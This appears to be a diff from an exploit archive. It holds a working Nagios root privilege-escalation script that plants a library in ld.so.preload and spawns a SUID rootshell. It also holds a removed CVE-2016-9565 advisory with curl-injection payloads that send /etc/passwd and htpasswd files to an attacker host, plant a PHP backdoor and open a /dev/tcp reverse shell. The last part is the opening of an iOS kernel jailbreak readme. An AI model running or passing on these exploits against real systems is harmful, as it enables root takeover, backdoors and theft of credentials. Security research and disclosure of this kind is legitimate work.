#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
uid_t geteuid(void) {
|
||||
static uid_t (*old_geteuid)();
|
||||
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
|
||||
if ( old_geteuid() == 0 ) {
|
||||
chown("$BACKDOORPATH", 0, 0);
|
||||
chmod("$BACKDOORPATH", 04777);
|
||||
unlink("/etc/ld.so.preload");
|
||||
}
|
||||
return old_geteuid();
|
||||
}
|
||||
_solibeof_
|
||||
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
|
||||
cleanexit 2;
|
||||
fi
|
||||
|
||||
|
||||
# Prepare backdoor shell
|
||||
cp $BACKDOORSH $BACKDOORPATH
|
||||
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
|
||||
|
||||
# Safety check
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# Symlink the Nagios log file
|
||||
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
|
||||
cleanexit 3
|
||||
fi
|
||||
echo -e "\n[+] The system appears to be exploitable (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
|
||||
|
||||
{
|
||||
# Wait for Nagios to get restarted
|
||||
echo -ne "\n[+] Waiting for Nagios service to get restarted...\n"
|
||||
echo -n "Do you want to shutdown the Nagios daemon to speed up the restart process? ;) [y/N] "
|
||||
read THE_ANSWER
|
||||
if [ "$THE_ANSWER" = "y" ]; then
|
||||
/usr/bin/printf "[%lu] SHUTDOWN_PROGRAM\n" `date +%s` > $commandfile
|
||||
fi
|
||||
sleep 3s
|
||||
ps aux | grep -v grep | grep -i 'bin/nagios'
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -ne "\n[+] Nagios stopped. Shouldn't take long now... ;)\n"
|
||||
fi
|
||||
while :; do
|
||||
sleep 1 2>/dev/null
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
rm -f $ERRORLOG
|
||||
break;
|
||||
fi
|
||||
done
|
||||
|
||||
echo -e "\n[+] Nagios restarted. The /etc/ld.so.preload file got created with the privileges: \n`ls -l /etc/ld.so.preload`"
|
||||
|
||||
# /etc/ld.so.preload should be owned by nagios:nagios at this point with perms:
|
||||
# -rw-r--r-- 1 nagios nagios
|
||||
# Only 'nagios' user can write to it, but 'nagios' group can not.
|
||||
# This is not ideal as in scenarios like CVE-2016-9565 we might be running as www-data:nagios user.
|
||||
# We can bypass the lack of write perm on /etc/ld.so.preload by writing to Nagios external command file/pipe
|
||||
# nagios.cmd, which is writable by 'nagios' group. We can use it to send a bogus command which will
|
||||
# inject the path to our privesc library into the nagios.log file (i.e. the ld.so.preload file :)
|
||||
|
||||
sleep 3s # Wait for Nagios to create the nagios.cmd pipe
|
||||
if [ ! -p $commandfile ]; then
|
||||
echo -e "\n[!] Nagios command pipe $commandfile does not exist!"
|
||||
exit 2
|
||||
fi
|
||||
echo -e "\n[+] Injecting $PRIVESCLIB via the pipe nagios.cmd to bypass lack of write perm on ld.so.preload"
|
||||
now=`date +%s`
|
||||
/usr/bin/printf "[%lu] NAGIOS_GIVE_ME_ROOT_NOW!;; $PRIVESCLIB \n" $now > $commandfile
|
||||
sleep 1s
|
||||
grep -q "$PRIVESCLIB" /etc/ld.so.preload
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload | grep "$PRIVESCLIB"`"
|
||||
else
|
||||
echo -e "\n[!] Unable to inject the lib to /etc/ld.so.preload"
|
||||
exit 2
|
||||
fi
|
||||
|
||||
} 2>/dev/null
|
||||
|
||||
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
|
||||
echo -e "\n[+] Triggering privesc code from $PRIVESCLIB by executing $SUIDBIN SUID binary"
|
||||
sudo 2>/dev/null >/dev/null
|
||||
|
||||
# Check for the rootshell
|
||||
ls -l $BACKDOORPATH | grep rws | grep -q root 2>/dev/null
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
|
||||
echo -e "\n\033[94mGot root via Nagios!\033[0m"
|
||||
else
|
||||
echo -e "\n[!] Failed to get root: \n`ls -l $BACKDOORPATH`"
|
||||
cleanexit 2
|
||||
fi
|
||||
|
||||
# Use the rootshell to perform cleanup that requires root privileges
|
||||
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
|
||||
rm -f $ERRORLOG
|
||||
echo > $ERRORLOG
|
||||
|
||||
# Execute the rootshell
|
||||
echo -e "\n[+] Nagios pwned. Spawning the rootshell $BACKDOORPATH now\n"
|
||||
$BACKDOORPATH -p -i
|
||||
|
||||
# Job done.
|
||||
cleanexit 0
|
|
@ -1,271 +1,9 @@
|
|||
'''
|
||||
Source: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
|
||||
=============================================
|
||||
- Discovered by: Dawid Golunski
|
||||
- dawid[at]legalhackers.com
|
||||
- https://legalhackers.com
|
||||
|
||||
- CVE-2016-9565
|
||||
- Release date: 13.12.2016
|
||||
- Revision 2.0
|
||||
- Severity: High / Critical
|
||||
=============================================
|
||||
|
||||
|
||||
I. VULNERABILITY
|
||||
-------------------------
|
||||
|
||||
Nagios Core < 4.2.2 Curl Command Injection / Remote Code Execution
|
||||
|
||||
|
||||
II. BACKGROUND
|
||||
-------------------------
|
||||
|
||||
"Nagios Is The Industry Standard In IT Infrastructure Monitoring
|
||||
|
||||
Achieve instant awareness of IT infrastructure problems, so downtime doesn't
|
||||
adversely affect your business.
|
||||
|
||||
Nagios offers complete monitoring and alerting for servers, switches,
|
||||
applications, and services."
|
||||
|
||||
https://www.nagios.org/
|
||||
|
||||
|
||||
III. INTRODUCTION
|
||||
-------------------------
|
||||
|
||||
Nagios Core comes with a PHP/CGI front-end which allows to view status
|
||||
of the monitored hosts.
|
||||
This front-end contained a Command Injection vulnerability in a RSS feed reader
|
||||
class that loads (via insecure clear-text HTTP or HTTPS accepting self-signed
|
||||
certificates) the latest Nagios news from a remote RSS feed (located on the
|
||||
vendor's server on the Internet) upon log-in to the Nagios front-end.
|
||||
The vulnerability could potentially enable remote unauthenticated attackers who
|
||||
managed to impersonate the feed server (via DNS poisoning, domain hijacking,
|
||||
ARP spoofing etc.), to provide a malicious response that injects parameters to
|
||||
curl command used by the affected RSS client class and effectively
|
||||
read/write arbitrary files on the vulnerable Nagios server.
|
||||
This could lead to Remote Code Execution in the context of www-data/nagios user
|
||||
on default Nagios installs that follow the official setup guidelines.
|
||||
|
||||
IV. DESCRIPTION
|
||||
-------------------------
|
||||
|
||||
|
||||
Vulnerability
|
||||
~~~~~~~~~~~~~~~
|
||||
|
||||
The vulnerability was caused by the use of a vulnerable component for handling
|
||||
RSS news feeds - MagpieRSS in Nagios Core control panel / front-end.
|
||||
The component was used by Nagios front-end to load news feeds from remote
|
||||
feed source upon log-in.
|
||||
The component was found vulnerable to CVE-2008-4796.
|
||||
|
||||
Below are relevant parts of code from the vulnerable RSS class:
|
||||
|
||||
----------------------------------------------------
|
||||
|
||||
function fetch($URI)
|
||||
{
|
||||
...
|
||||
case "https":
|
||||
...
|
||||
$path = $URI_PARTS["path"].($URI_PARTS["query"] ? "?".$URI_PARTS["query"] : "");
|
||||
$this->_httpsrequest($path, $URI, $this->_httpmethod);
|
||||
...
|
||||
}
|
||||
...
|
||||
function _httpsrequest($url,$URI,$http_method,$content_type="",$body="")
|
||||
{
|
||||
# accept self-signed certs
|
||||
$cmdline_params .= " -k";
|
||||
exec($this->curl_path." -D \"/tmp/$headerfile\"".escapeshellcmd($cmdline_params)." ".escapeshellcmd($URI),$results,$return);
|
||||
|
||||
---------------------------------------------------------
|
||||
|
||||
|
||||
As can be seen, the _httpsrequest function uses a curl command to handle HTTPS
|
||||
requests. The sanitization used to escape $URI did not prevent injection of
|
||||
additional parameters to curl command which made it possible to, for example, get
|
||||
curl to write out the https response to an arbitrary file with the $URI:
|
||||
|
||||
https://attacker-svr -o /tmp/result_file
|
||||
|
||||
The vulnerability was reported to Nagios security team.
|
||||
Nagios 4.2.0 was released which contained the following fix for CVE-2008-4796:
|
||||
|
||||
---------------------------------------------------------
|
||||
|
||||
# accept self-signed certs
|
||||
$cmdline_params .= " -k";
|
||||
exec($this->curl_path." -D \"/tmp/$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);
|
||||
|
||||
---------------------------------------------------------
|
||||
|
||||
Further research found the fix to be incomplete as the extra sanitization
|
||||
by the above patch could be bypassed by adding extra quote characters in
|
||||
the $URI variable e.g:
|
||||
|
||||
https://attacker-svr" -o /tmp/nagioshackedagain "
|
||||
|
||||
This vulnerability has been assigned CVE-2016-9565 and was addressed by Nagios
|
||||
team in the new release of Nagios 4.2.2 by removing the vulnerable class.
|
||||
|
||||
|
||||
Injection Point / Controling $URI var
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
The affected versions of Nagios Core front-end contain three files that trigger
|
||||
the _httpsrequest() function with the injectable curl command shown above:
|
||||
|
||||
- rss-corefeed.php
|
||||
- rss-corebanner.php
|
||||
- rss-newsfeed.php
|
||||
|
||||
These are used to fetch news via an RSS feed from www.nagios.org website via
|
||||
HTTP or HTTPS (see the notes below) protocols.
|
||||
The news are displayed on the Home page of the Nagios front-end upon log-in.
|
||||
|
||||
All 3 scripts call fetch_rss() as follows:
|
||||
|
||||
------[ rss-corefeed.php ]------
|
||||
|
||||
<?php
|
||||
|
||||
//build splash divs to ajax load
|
||||
do_corefeed_html();
|
||||
|
||||
function do_corefeed_html() {
|
||||
|
||||
$url="http://www.nagios.org/backend/feeds/corepromo";
|
||||
$rss=fetch_rss($url);
|
||||
$x=0;
|
||||
//build content string
|
||||
if($rss) {
|
||||
$html ="
|
||||
<ul>";
|
||||
|
||||
foreach ($rss->items as $item){
|
||||
$x++;
|
||||
if($x>3)
|
||||
break;
|
||||
//$href = $item['link'];
|
||||
//$title = $item['title'];
|
||||
$desc = $item['description'];
|
||||
$html .="<li>{$item['description']}</li>";
|
||||
}
|
||||
$html .="</ul>";
|
||||
|
||||
print $html;
|
||||
|
||||
--------------------------------
|
||||
|
||||
|
||||
An attacker who managed to impersonate www.nagios.org domain and respond to the web
|
||||
request made by the fetch_rss() function could send a malicious 302 redirect to set
|
||||
$URI variable from the _httpsrequest() function to an arbitrary value and thus
|
||||
control the curl command parameters.
|
||||
|
||||
For example, the following redirect:
|
||||
|
||||
Location: https://attackers-host/get-data.php -Fpasswd=@/etc/passwd
|
||||
|
||||
would execute curl with the parameters:
|
||||
|
||||
curl -D /tmp/$headerfile https://attackers-host/get-data.php -Fpasswd=@/etc/passwd
|
||||
|
||||
and send the contents of the pnsswd file from the Nagios system to the attacker's
|
||||
server in a POST request.
|
||||
|
||||
|
||||
Attack Vectors
|
||||
~~~~~~~~~~~~~~~~~~
|
||||
|
||||
In order to supply a malicious response to fetch_rss() the attacker would
|
||||
need to impersonate the www.nagios.org domain in some way.
|
||||
Well-positioned attackers within the target's network could try network
|
||||
attacks such as DNS spoofing, ARP poisoning etc.
|
||||
|
||||
A compromised DNS server/resolver within an organisation could be used by
|
||||
attackers to exploit the Nagios vulnerability to gain access to the monitoring
|
||||
server.
|
||||
|
||||
The vulnerability could potentially become an Internet threat and be used to
|
||||
exploit a large number of affected Nagios installations in case of a compromise
|
||||
of a DNS server/resolver belonging to a large-scale ISP.
|
||||
|
||||
|
||||
Notes
|
||||
~~~~~~~~~~~~~~~~~~
|
||||
|
||||
[*] Nagios front-end in versions <= 4.0.5 automatically load the rss-*.php files
|
||||
upon login to the Nagios control panel. Later versions contain the
|
||||
vulnerable scripts but do not load them automatically.
|
||||
On such installations an attacker could still be successful in one of the cases:
|
||||
|
||||
a) if attacker had low-privileged access (guest/viewer account) to the control
|
||||
panel and was able to execute /nagios/rss-newsfeed.php script
|
||||
|
||||
b) perform a CSRF attack / entice a logged-in nagios user to open the URL:
|
||||
http://nagios-server/nagios/rss-newsfeed.php
|
||||
|
||||
c) well-positioned attackers on the network might be able to modify the
|
||||
traffic and inject a redirect to /rss-newsfeed.php script when Nagios control
|
||||
panel is accessed via HTTP by an authenticated user
|
||||
|
||||
|
||||
[*] The rss-*.php scripts in Nagios Core >=4.0.8 use HTTPS to fetch news feeds
|
||||
however as has been previously shown in _httpsrequest() function, the curl
|
||||
command gets passed a '-k' (--insecure) parameter which accepts self-signed
|
||||
certificates.
|
||||
|
||||
|
||||
Arbitrary Code Execution
|
||||
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
Nagios Core installations that follow the official installation guidelines:
|
||||
|
||||
https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf
|
||||
|
||||
as well as the commercial Nagios VMs available for purchase on the vendor website
|
||||
make the web-server user (www-data) part of the 'nagios' group which has
|
||||
write access to the web document root (/usr/local/nagios/share).
|
||||
|
||||
This can allow attackers who manage to exploit the vulnerability and
|
||||
inject parameters to curl command to save a PHP backdoor within the document
|
||||
root via a 302 redirect similar to:
|
||||
|
||||
Location: http://attacker/php-backdoor.php --trace-ascii /usr/local/nagios/share/nagios-backdoor.php
|
||||
|
||||
and have it executed automatically upon a log-in to the Nagios control panel via html/JS code
|
||||
snippet returned as a part of the RSS feed as demonstrated by the PoC exploit below.
|
||||
|
||||
The privileges could then be raised from nagios user to root via another Nagios
|
||||
vulnerability discovered by the author of this advisory CVE-2016-9566:
|
||||
|
||||
http://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
|
||||
|
||||
V. PROOF OF CONCEPT
|
||||
-------------------------
|
||||
|
||||
Below is an exploit that demonstrates reading, writing, and code execution
|
||||
on affected Nagios installations.
|
||||
The attack flow is as follows:
|
||||
|
||||
For simplicity, to test the attack vector, a static DNS entry can be added
|
||||
inside the /etc/hosts file on the victim Nagios server to point the
|
||||
www.nagios.org domain at an attacker's IP where the exploit is executed.
|
||||
|
||||
|
||||
----------[ nagios_cmd_injection.py ]----------
|
||||
'''
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Source: https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
|
||||
intro = """\033[94m
|
||||
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
|
||||
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
|
||||
CVE-2016-9565
|
||||
nagios_cmd_injection.py ver. 1.0
|
||||
|
||||
|
@ -435,181 +173,3 @@ if __name__ == "__main__":
|
|||
|
||||
print "[+] That's all. Exiting\n"
|
||||
|
||||
|
||||
'''
|
||||
-----------------------------------------------
|
||||
|
||||
Video PoC
|
||||
~~~~~~~~~~~~~
|
||||
|
||||
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
|
||||
|
||||
Example exploit run
|
||||
~~~~~~~~~~~~~~~~~~~~~
|
||||
|
||||
root@xenial:~/nagios-exploit# ./nagios_cmd_injection.py 192.168.57.3
|
||||
|
||||
Nagios Core < 4.2.0 Curl Command Injection / Code Execution PoC Exploit
|
||||
CVE-2016-9565
|
||||
nagios_cmd_injection.py ver. 1.0
|
||||
|
||||
Discovered & Coded by:
|
||||
|
||||
Dawid Golunski
|
||||
https://legalhackers.com
|
||||
|
||||
[+] Generating SSL certificate for our python HTTPS web server
|
||||
|
||||
[+] Starting the web server on ports 80 & 443
|
||||
|
||||
[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)
|
||||
|
||||
[+] Received GET request from Nagios server (192.168.57.4) ! Sending redirect to inject our curl payload:
|
||||
|
||||
-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii /usr/local/nagios/share/nagios-backdoor.php
|
||||
|
||||
[+] Success, curl payload injected! Received data back from the Nagios server 192.168.57.4
|
||||
|
||||
[*] Contents of /etc/passwd file from the target:
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
nagios:x:1001:1001::/home/nagios:/bin/sh
|
||||
[..cut..]
|
||||
|
||||
[*] Contents of /usr/local/nagios/etc/htpasswd.users file:
|
||||
|
||||
nagiosadmin:$apr1$buzCfFb$GjV/ga6PHp53qePf0
|
||||
|
||||
[*] Retrieved nagios group line from /etc/group file on the target: nagios:x:1001:www-data
|
||||
|
||||
[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)
|
||||
|
||||
[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :)
|
||||
|
||||
[+] PHP backdoor should have been saved in /usr/local/nagios/share/nagios-backdoor.php on the target by now!
|
||||
|
||||
[*] Spawning netcat and waiting for the nagios shell (remember you can escalate to root via CVE-2016-9566 :)
|
||||
|
||||
Listening on [0.0.0.0] (family 0, port 8080)
|
||||
Connection from [192.168.57.4] port 8080 [tcp/http-alt] accepted (family 2, sport 38718)
|
||||
|
||||
www-data@debjessie:/usr/local/nagios/share$ id
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(nagios),1002(nagcmd)
|
||||
|
||||
www-data@debjessie:/usr/local/nagios/share$ groups
|
||||
groups
|
||||
www-data nagios nagcmd
|
||||
|
||||
www-data@debjessie:/usr/local/nagios/share$ cat nagios-backdoor.php
|
||||
[..cut..]
|
||||
== Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); die("stop processing"); ?> is not blacklisted
|
||||
[..cut..]
|
||||
www-data@debjessie:/usr/local/nagios/share$ ls -ld .
|
||||
ls -ld .
|
||||
drwxrwsr-x 16 nagios nagios 4096 Dec 9 20:00 .
|
||||
|
||||
www-data@debjessie:/usr/local/nagios/share$ exit
|
||||
exit
|
||||
exit
|
||||
|
||||
[+] Shell closed
|
||||
|
||||
[+] That's all. Exiting
|
||||
|
||||
|
||||
|
||||
VI. BUSINESS IMPACT
|
||||
-------------------------
|
||||
|
||||
Successfull exploitation of the vulnerability could allow remote attackers
|
||||
to extract sensitive data from the Nagios monitoring server as well as
|
||||
achieve arbitrary code execution as demonstrated by the exploit.
|
||||
The monitoring server is usually critical within an organisation as it
|
||||
often has remote access to all hosts within the network. For this reason
|
||||
a compromise could likely allow attackers to expand their access within
|
||||
the network to other internal servers.
|
||||
|
||||
Corporate monitoring servers with a large number of connected hosts are
|
||||
often left unpatched due to their sensitive/central role on the network
|
||||
which increase the chances of exploitation.
|
||||
|
||||
As explained in the description section, the vulnerability could be a threat
|
||||
coming from the Internet. If a major ISP / DNS, or nagios.org site itself was
|
||||
compromised, this could potentially allow attackers to exploit the vulnerability
|
||||
on multiple Nagios installations which retrieve RSS feeds automatically and the
|
||||
corporate firewall does not stop the egress traffic from the monitoring server.
|
||||
As a result, an attacker could potentially gain unauthorised access to
|
||||
affected Nagios installations without even knowing the target IP addresses
|
||||
and despite a lack of direct access to the target (blocked igress traffic on
|
||||
the firewall).
|
||||
|
||||
|
||||
VII. SYSTEMS AFFECTED
|
||||
-------------------------
|
||||
|
||||
Both of the Nagios Core stable branches 3.x and 4.x are affected.
|
||||
|
||||
The vulnerability was disclosed responsibly to the vendor and was fully fixed
|
||||
in Nagios Core 4.2.2.
|
||||
|
||||
Nagios Core versions <= 4.0.5 are at the highest risk as they are the easiest
|
||||
to exploit (automatically load the vulnerable scripts upon log-in to the Nagios
|
||||
control panel).
|
||||
|
||||
VIII. SOLUTION
|
||||
-------------------------
|
||||
|
||||
Update to the latest Nagios Core release.
|
||||
|
||||
IX. REFERENCES
|
||||
-------------------------
|
||||
|
||||
https://legalhackers.com
|
||||
|
||||
This advisory (CVE-2016-9565) URL:
|
||||
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
|
||||
Root Privilege Escalation from nagios system user to root (CVE-2016-9566):
|
||||
https://legalhackers.com/advisories/Nagios-Exploit-Root-PrivEsc-CVE-2016-9566.html
|
||||
|
||||
Video PoC:
|
||||
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
|
||||
|
||||
Exploit source code:
|
||||
https://legalhackers.com/exploits/CVE-2016-9565/nagios_cmd_injection.py
|
||||
|
||||
https://www.nagios.org
|
||||
|
||||
Nagios patch history:
|
||||
https://www.nagios.org/projects/nagios-core/history/4x/
|
||||
|
||||
MagpieRSS CVE-2008-4796:
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4796
|
||||
|
||||
Nagios Core installation guide:
|
||||
https://assets.nagios.com/downloads/nagioscore/docs/Installing_Nagios_Core_From_Source.pdf
|
||||
|
||||
X. CREDITS
|
||||
-------------------------
|
||||
|
||||
The vulnerability has been discovered by Dawid Golunski
|
||||
dawid (at) legalhackers (dot) com
|
||||
|
||||
https://legalhackers.com
|
||||
|
||||
XI. REVISION HISTORY
|
||||
-------------------------
|
||||
|
||||
13.12.2016 - Advisory released
|
||||
14.12.2016 - Extended introduction
|
||||
|
||||
XII. LEGAL NOTICES
|
||||
-------------------------
|
||||
|
||||
The information contained within this advisory is supplied "as-is" with
|
||||
no warranties or guarantees of fitness of use or otherwise. I accept no
|
||||
responsibility for any damage caused by the use or misuse of this information.
|
||||
'''
|
579
platforms/multiple/local/40931.txt
Executable file
579
platforms/multiple/local/40931.txt
Executable file
|
@ -0,0 +1,579 @@
|
|||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=965
|
||||
|
||||
set_dp_control_port is a MIG method on the host_priv_port so this bug is a root->kernel escalation.
|
||||
|
||||
kern_return_t
|
||||
set_dp_control_port(
|
||||
host_priv_t host_priv,
|
||||
ipc_port_t control_port)
|
||||
{
|
||||
if (host_priv == HOST_PRIV_NULL)
|
||||
return (KERN_INVALID_HOST);
|
||||
|
||||
if (IP_VALID(dynamic_pager_control_port))
|
||||
ipc_port_release_send(dynamic_pager_control_port);
|
||||
|
||||
dynamic_pager_control_port = control_port;
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
This should be an atomic operation; there's no locking so two threads can race to see the same value for
|
||||
dynamic_pager_control_port and release two references when the kernel only holds one.
|
||||
|
||||
This PoC triggers the bug such that the first thread frees the port and the second uses it; a
|
||||
more sensible approach towards exploiting it would be to use this race to try to decrement the reference count
|
||||
of a port with two references to zero such that you end up with a dangling port pointer.
|
||||
|
||||
Tested on MacOS 10.12 16A323
|
||||
|
||||
##############################################################################
|
||||
|
||||
/* ianbeer */
|
||||
|
||||
READ THIS FIRST:
|
||||
if you do not have an iPod touch 6g running 10.1.1 (14b100) or and iPad mini 2 running 10.1.1 (14b100) this project will
|
||||
not work out of the box(*)! You need to fix up a couple of offsets - see the section futher down
|
||||
"Adding support for more devices"
|
||||
|
||||
(*) more precisely, I only have those devices and have only tested it on them.
|
||||
(*) 1b4150 will probably also work, I haven't tested it.
|
||||
|
||||
Contents:
|
||||
1 - Build Instructions
|
||||
2 - Adding support for other devices
|
||||
3 - Notes on the bugs and exploits
|
||||
|
||||
*** (1) Build Instructions ***
|
||||
|
||||
* download and install Xcode 8.1 or higher
|
||||
|
||||
* download Jonathan Levin’s collection of arm64 iOS binaries:
|
||||
+ Follow the link for "The 64-bit tgz pack" here:
|
||||
http://newosxbook.com/tools/iOSBinaries.html (you want iosbinpack64.tgz)
|
||||
+ extract it into the iosbinpack64 directory which is already in the mach_portal
|
||||
source dir so that directly underneath iosbinpack64 you have the bin/, etc/, sbin/, usr/ directories
|
||||
When you expand the iosbinpack64 directory in the xcode folder view you should see those folders
|
||||
|
||||
* open this .xcodeproj
|
||||
|
||||
* if you don't have an apple id make one now at https://appleid.apple.com
|
||||
|
||||
* if you don't have a developer signing certificate you can make a free one now in Xcode
|
||||
|
||||
* in Xcode go Xcode->Preference->Accounts and click the '+' in the lower left hand corner and add your apple id
|
||||
|
||||
* select your account then "View Details" and under signing identites click Create next to iOS Development
|
||||
|
||||
* connect your iDevice and click "trust" in the pop up on it
|
||||
|
||||
* wait for xcode to process symbol files for this device
|
||||
|
||||
* in the box to the right of the play and stop buttons in the top left corner of the xcode window select your iDevice
|
||||
|
||||
* in the left hand window pane select the mach_portal project and navigate to the General tab
|
||||
|
||||
* in the signing window select your personal team
|
||||
|
||||
* We now need to fix up a few things:
|
||||
|
||||
* go to Build Settings -> Packaging and give your project a new, unique bundle identifier
|
||||
(eg change it from "com.example.mach_portal" to "com.ios.test.account.mach_portal"
|
||||
where ios.test.account is your apple id. (it doesn’t have to be your apple id, just a unique string))
|
||||
|
||||
* We also need to register a unique App Group:
|
||||
|
||||
* In the capabilities view scroll down to the App Groups section, remove the existing App Group ("group.mach_portal")
|
||||
and add a new unique one (eg "group.ios.test.account.mach_portal")
|
||||
|
||||
* open jailbreak.c and change the app_group variable to this new app group id.
|
||||
|
||||
* on the iDevice go to settings -> General -> Device Management and select your apple ID and click trust
|
||||
|
||||
* in xcode click view -> debug area -> activate console so you can see debugging output (there's no output on the iDevice screen at all, that's normal)
|
||||
|
||||
* make sure your iDevice and host are connected to the same wifi network and that network allows client to client connections. Note down the iDevice's ip address.
|
||||
|
||||
* click play to run the app on the iDevice. If it fails press and hold the power and home buttons to reset the device. If Xcode asks you to enable developer mode on this mac agree.
|
||||
|
||||
* if it succeeds you should see:
|
||||
"shell listening on port 4141"
|
||||
printed to the debug consol
|
||||
|
||||
* the kernel exploit is only around 50% reliable (this can certainly be improved, read the code and make it better!)
|
||||
it will fail more often if there is high system load - try leaving the device for a minute after rebooting it and connecting it to you mac before trying again
|
||||
|
||||
* connect to that port with netcat:
|
||||
nc X.X.X.X 4141
|
||||
where X.X.X.X is your iDevice’s ip address
|
||||
|
||||
* you have a root shell :) There’s no controlling terminal so fancy curses gui stuff won't work unless you fix that
|
||||
|
||||
* you can run any pseudo-signed thin ARM64 binaries - if you want the kernel task port it's host special port 4
|
||||
|
||||
* copy your custom testing tools to the iosbinpack64 directory and they'll be bundled with the .app so you can run them from the shell
|
||||
|
||||
* you're running as an unsandboxed root user so you can talk to any iokit user clients/mach services
|
||||
|
||||
* amfid is patched to allow any signatures/entitlements
|
||||
|
||||
* When you’re done hold power and home to reset the device
|
||||
|
||||
*** (2) Adding support for other devices ***
|
||||
* you have to do this manually, sorry!
|
||||
|
||||
* download the ipsw for your device from https://www.theiphonewiki.com/wiki/Firmware
|
||||
The bugs are there in any version <= 10.1.1 but the further back you go the more offsets
|
||||
will be wrong so ideally stick to 10.1.1 (and for anything earlier that iOS 10 the kernel cache
|
||||
is encrypted so you'll have to do the rest yourself)
|
||||
|
||||
* for >= iOS 10 unzip the ipsw and hexdump the kernel.release.* file like this:
|
||||
|
||||
$ hexdump -C kernelcache.release.n51 | head
|
||||
00000000 30 83 b5 9b 0d 16 04 49 4d 34 50 16 04 6b 72 6e |0......IM4P..krn|
|
||||
00000010 6c 16 1c 4b 65 72 6e 65 6c 43 61 63 68 65 42 75 |l..KernelCacheBu|
|
||||
00000020 69 6c 64 65 72 2d 31 31 36 32 2e 32 30 2e 31 04 |ilder-1162.20.1.|
|
||||
00000030 83 b5 9a de 63 6f 6d 70 6c 7a 73 73 83 13 7d ae |....complzss..}.|
|
||||
00000040 01 64 80 00 00 b5 29 5e 00 00 00 01 00 00 00 00 |.d....)^........|
|
||||
00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
000001b0 00 00 00 00 ff cf fa ed fe 0c 00 00 01 d5 00 f6 |................|
|
||||
000001c0 f0 02 f6 f0 14 f6 f0 38 0e 9a f3 f1 20 f6 f1 00 |.......8.... ...|
|
||||
000001d0 19 ff f1 f5 f0 5f 9f 5f 54 45 58 54 09 02 1c 03 |....._._TEXT....|
|
||||
|
||||
* note down the offset of the ff cf fa ed fe byte sequence (in this case it's 0x1b4)
|
||||
|
||||
* compile lzssdec from http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp
|
||||
|
||||
* run a command like: lzssdec -o 0x1b4 < kernel.release.n51 > kernel.decompressed
|
||||
|
||||
* open the decompressed kernelcache in a recent version of IDA Pro (with support for iOS kextcaches)
|
||||
|
||||
* say yes when IDA asks to split by kext
|
||||
|
||||
* let the auto-analysis run - depending on how fast your computer is this might take a while! (it takes my 2013 MBP about 30 minutes)
|
||||
|
||||
* go view -> open subviews -> segments and find the __TEXT:HEADER segment, the start should be FFFFFFF007004000
|
||||
if it isn't note this down as you'll need to work out a couple of offsets relative to this
|
||||
|
||||
* go view -> open subviews -> names and find the kernproc data symbol.
|
||||
|
||||
* subtract the __TEXT:HEADER value from that, this is the kernproc offset
|
||||
eg for iPhone 5S 10.1.1 kernproc is at FFFFFFF0075AE0E0 making the offset: 0x5AA0E0
|
||||
|
||||
* now the harder one! We need to find allproc which isn't exported so is harder to find:
|
||||
|
||||
